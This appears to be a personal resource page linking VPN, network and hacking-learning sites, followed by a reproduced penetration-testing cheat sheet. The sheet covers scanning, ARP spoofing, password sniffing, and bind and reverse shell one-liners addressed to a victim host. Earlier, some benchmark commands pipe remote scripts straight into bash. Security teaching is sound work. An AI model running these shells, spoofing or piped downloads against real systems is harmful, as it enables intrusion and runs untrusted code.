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VPN - WireGuard

- <https://www.wireguard.com/>
- [How to generate WireGuard QR code on Linux for mobile](#)

Free VPN Service

- [VPN Gate](#)

P2P VPN

Cjdns

- <https://github.com/cjdelisle/cjdns>

Windows Batch Script

- https://www.tutorialspoint.com/batch_script/index.htm
- <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands>

Online Tool

- Password Generator: <https://passwrld.in>
- Linux VPS Benchmark
 - <https://bench.monster/>

```
curl -LsO bench.monster/speedtest.sh; bash speedtest.sh
```

```
curl -LsO bench.monster/speedtest.sh; bash speedtest.sh -asia
```
 - [yabs.sh](#)

```
curl -sL yabs.sh | bash
```
 - [bench.sh](#)

```
wget -qO- bench.sh | bash
```
- [Modemly](#) : Find the default password of the routers
- DNS
 - [DNS Check](#)

- [DNSChecker](#)
- Network Troubleshoot
 - [Port Forwarding Tester](#)
 - [Ping.pe](#)

Embedded System

Mini Web Server

- [redbean](#) - single-file distributable web server
 - [Redbean in Docker](#)

SMS API

- <https://textbelt.com/>

Hacker

Search Engines

- [Shodan](#) - Search Engine for the Internet of Everything.
- [ZoomEye](#) - Search for the any devices, blockchains, websites, webcams etc.

Learning Hacker

- [TryHackMe](#)
 - [Video] [TryHackMe! Basic Penetration Testing](#)
- [Hack The Box](#)
- [Hackers-Arise](#) - ??????
 - ?????????

Tools

- [hping](#)

?? Root ??

- [LES: Linux privilege escalation auditing tool](#)
- [Part 1](#)
- [Part 2](#)
- [Part 3](#)
- [Part 4](#)

Commands Cheat Sheets

Hacking Tools Cheat Sheet

Basic Linux Networking Tools

Show IP configuration:

```
# ip a lw
```

Change IP/MAC address:

```
# ip link set dev eth0 down
```

```
# macchanger -m 23:05:13:37:42:21 eth0
```

```
# ip link set dev eth0 up
```

Static IP address configuration:

```
# ip addr add 10.5.23.42/24 dev eth0
```

DNS lookup:

```
# dig compass-security.com
```

Reverse DNS lookup:

```
# dig -x 10.5.23.42
```

Information Gathering

Find owner/contact of domain or IP address:

```
# whois compass-security.com
```

Get nameservers and test for DNS zone transfer:

```
# dig example.com ns
```

```
# dig example.com axfr @n1.example.com
```

Get hostnames from CT logs:

```
% compass-security.com on https://crt.sh.
```

Or using an nmap script:

```
# nmap -sn -Pn compass-security.com
```

```
--script hostmap-crtsh
```

Combine various sources for subdomain

enum:

```
# amass enum -src -brute -min-forrecursive
```

```
2 -d compass-security.com
```

TCP Tools

Listen on TCP port:

```
# ncat -l -p 1337
```

Connect to TCP port:

```
# ncat 10.5.23.42 1337
```

TLS Tools

Create self-signed certificate:

```
# openssl req -x509 -newkey rsa:2048
```

```
-keyout key.pem -out cert.pem -nodes
```

```
-subj "/CN=example.org/"
```

Start TLS Server:

```
# ncat --ssl -l -p 1337 --ssl-cert
```

```
cert.pem --ssl-key key.pem
```

Connect to TLS service:

```
# ncat --ssl 10.5.23.42 1337
```

Connect to TLS service using openssl:

```
# openssl s_client -connect
```

```
10.5.23.42:1337
```

Show certificate details:

```
# openssl s_client -connect
```

```
10.5.23.42:1337 | openssl x509 -text
```

Test TLS server certificate and ciphers:

```
# sslyze --regular 10.5.23.42:443
```

TCP to TLS proxy:

```
# socat TCP-LISTEN:2305,fork,reuseaddr
```

```
ssl:example.com:443
```

Online TLS tests:

- ssllabs.com, hardenize.com

HTTP Tools

Start Python webserver on port 2305:

```
# python3 -m http.server 2305
```

Perform HTTP Request:

```
# curl http://10.5.23.42:2305/?foo=bar
```

Useful curl options:

- -k: Accept untrusted certificates
- -d "foo=bar": HTTP POST data
- -H: "Foo: Bar": HTTP header
- -I: Perform HEAD request
- -L: Follow redirects
- -o foobar.html: Write output file
- --proxy http://127.0.0.1:8080: Set proxy

Scan for common files/applications/configs:

```
# nikto -host https://example.net
```

Enumerate common directory-/filenames:

```
# gobuster dir -k -u
```

```
https://example.net -w
```

```
/usr/share/wordlists/dirb/common.txt
```

Sniffing

ARP spoofing:

```
# arpspoof -t 10.5.23.42 10.5.23.1
```

Or a graphical tool:

```
# ettercap -G
```

Show ARP cache:

```
# ip neigh
```

Delete ARP cache:

```
# ip neigh flush all
```

Sniff traffic:

```
# tcpdump [options] [filters]
```

Useful tcpdump options:

- -i interface: Interface or any for all
- -n: Disable name and port resolution
- -A: Print in ASCII
- -XX: Print in hex and ASCII
- -w file: Write output PCAP file
- -r file: Read PCAP file

Useful tcpdump filters:

- not arp: No ARP packets
- port ftp or port 23: Only port 21 or 23
- host 10.5.23.31: Only from/to host
- net 10.5.23.0/24: Only from/to hosts in network

Advanced sniffing using tshark or Wireshark.

Sniffing over SSH on a remote host:

```
# ssh 10.5.23.42 tcpdump -w- port not
```

```
ssh | wireshark -k -i -
```

Search in network traffic:

```
# ngrep -i password
```

Show HTTP GET requests:

```
# urlsnarf
```

Show transmitted images:

```
# driftnet
```

Network Scanning

ARP Scan:

```
# nmap -n -sn -PR 10.5.23.0/24
```

Reverse DNS lookup of IP range:

```
# nmap -sL 10.5.23.0/24
```

Nmap host discovery (ARP, ICMP, SYN 443/tcp

ACK 80/tcp):

```
# nmap -sn -n 10.5.23.0/24
```

TCP scan (SYN scan = half-open scan):

```
# nmap -Pn -n -sS -p
```

```
22,25,80,443,8080 10.5.23.0/24
```

List Nmap scripts:

```
# ls /usr/share/nmap/scripts
```

Scan for EternalBlue vulnerable hosts:

```
# nmap -n -Pn -p 443 --script smbvuln
```

```
ms17-010 10.5.23.0/24
```

Scan for vulnerabilities (script category filter):

```
# nmap -n -Pn --script "vuln and safe"
```

```
10.5.23.0/24
```

Performance Tuning (1 SYN packet ≈ 60 bytes

→ 20'000 packets/s ≈ 10 Mbps):

```
# nmap -n -Pn --min-rate 20000
```

```
10.5.23.0/24
```

Useful nmap options:

- -n: Disable name and port resolution
- -PR: ARP host discovery
- -Pn: Disable host discovery
- -sn: Disable port scan (host discovery only)
- -sS/-sT/-sU: SYN/TCP connect/UDP scan
- --top-ports 50: Scan 50 top ports
- -iL file: Host input file
- -oA file: Write output files (3 types)
- -sC: Script scan (default scripts)
- --script <file/category>: Specific scripts
- -sV: Version detection
- -6: IPv6 scan

The target can be specified using CIDR notation

(10.5.23.0/24) or range definitions (10.13-37.5.1-23).

Fast scan using masscan:

```
# masscan -p80,8000-8100 --rate 20000
```

```
10.0.0.0/8
```

Public internet scan databases:

- shodan.io, censys.io

Shells

Start bind shell (on victim):

```
# ncat -l -p 2305 -e "/bin/bash -i"
```

Connect to bind shell (on attacker):

```
# ncat 10.5.23.42 2305
```

Listen for reverse shell (on attacker):

```
# ncat -l -p 23
```

Start reverse shell (on victim):

```
# ncat -e "/bin/bash -i" 10.5.23.5 23
```

Start reverse shell with bash only (on victim):

```
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1
```

Upgrade to pseudo terminal:

```
# python -c 'import pty;
```

```
pty.spawn("/bin/bash")'
```


- Cisco: [Talos](#)
- Google: [Google Postmaster Tools](#)
- [Sender Score](#)

World Time

- [Time.is](#)